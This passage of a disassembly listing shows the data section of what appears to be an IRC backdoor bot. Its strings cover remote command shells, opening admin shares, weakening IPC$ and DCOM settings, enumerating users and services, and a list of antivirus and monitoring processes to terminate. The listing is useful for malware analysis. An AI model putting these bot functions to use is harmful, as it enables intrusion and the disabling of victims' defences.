		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 4390DCh, 4390D4h,	2, 4390C8h, 4390BCh, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .packed:0043909Co
aStop_0		db 'Stop',0             ; DATA XREF: .packed:00439098o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .packed:00439090o
aStart_0	db 'Start',0            ; DATA XREF: .packed:0043908Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .packed:00439084o
		align 4
aList_1		db 'List',0             ; DATA XREF: .packed:00439080o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .packed:00439078o
aDelete_0	db 'Delete',0           ; DATA XREF: .packed:00439074o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .packed:off_43906Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: .packed:off_439068o
unk_439130	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439154	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439180	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_4396D4	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_4396F8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_439714	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_439760	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 10h
unk_4397C0	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_4397E8	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439818	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439838	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 4
aUser_2		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_4399F4	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_6		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 4
unk_439A28	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 10h
dword_439D30	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439D5C	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_439D84	dd 7530h		; DATA XREF: sub_419A00+12r
off_439D88	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439E90
		dd offset dword_439E84
		dd offset dword_439E78
		dd offset dword_439E6C
		dd offset dword_439E60
		dd offset dword_439E54
		dd offset dword_439E44
		dd offset dword_439E38
		dd offset dword_439E2C
		dd offset dword_439E20
		dd offset dword_439E14
		dd offset dword_439E04
		dd offset dword_439DF8
		dd offset dword_439DE8
dword_439DE8	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; .packed:00439DE4o
dword_439DF8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: .packed:00439DE0o
dword_439E04	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: .packed:00439DDCo
dword_439E14	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	.packed:00439DD8o
dword_439E20	dd 74617373h, 78652E65h, 65h ; DATA XREF: .packed:00439DD4o
dword_439E2C	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: .packed:00439DD0o
dword_439E38	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: .packed:00439DCCo
dword_439E44	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: .packed:00439DC8o
dword_439E54	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: .packed:00439DC4o
dword_439E60	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: .packed:00439DC0o
dword_439E6C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: .packed:00439DBCo
dword_439E78	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: .packed:00439DB8o
dword_439E84	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: .packed:00439DB4o
dword_439E90	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: .packed:00439DB0o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .packed:00439DACo
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .packed:00439DA8o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .packed:00439DA4o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .packed:00439DA0o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .packed:00439D9Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .packed:00439D98o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: .packed:00439D94o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .packed:00439D90o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .packed:00439D8Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .packed:off_439D88o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 10h
unk_439F40	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F64	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_439F88	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_439FB8	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439FE8	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A010	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A040	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A074	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A098	dd offset dword_43A0D0	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 10h
		dd offset dword_43A0C8
		align 8
off_43A0A8	dd offset dword_43A0C4	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_43A0C0
		dd offset dword_43A0BC
		dd offset dword_43A0B8
dword_43A0B8	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; .packed:0043A0B4o
dword_43A0BC	dd 2444h		; DATA XREF: .packed:0043A0B0o
dword_43A0C0	dd 5C3A43h		; DATA XREF: .packed:0043A0ACo
dword_43A0C4	dd 2443h		; DATA XREF: .packed:off_43A0A8o
dword_43A0C8	dd 494D4441h, 244Eh	; DATA XREF: .packed:0043A0A0o
dword_43A0D0	dd 24435049h, 0		; DATA XREF: .packed:off_43A098o
dword_43A0D8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A108	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A130	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A15C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A180	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1AC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A1D0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A200	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A23C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A270	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 10h
dword_43A2C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A2F0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_43A310	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 10h
dword_43A340	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_43A370	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A398	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A3F4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A42C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A46C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_43A488	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A4E0	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A6F8	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A7D4	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 4
aSS_2		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
dword_43A800	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A844	dd offset loc_412F4D+1	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A848	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A84C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A854	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A864	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A894	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A8C0	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A8DC	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A918	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A934	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A940	dd 78960583h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A950	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A95C	dd offset sub_41C748	; DATA XREF: sub_41B784r
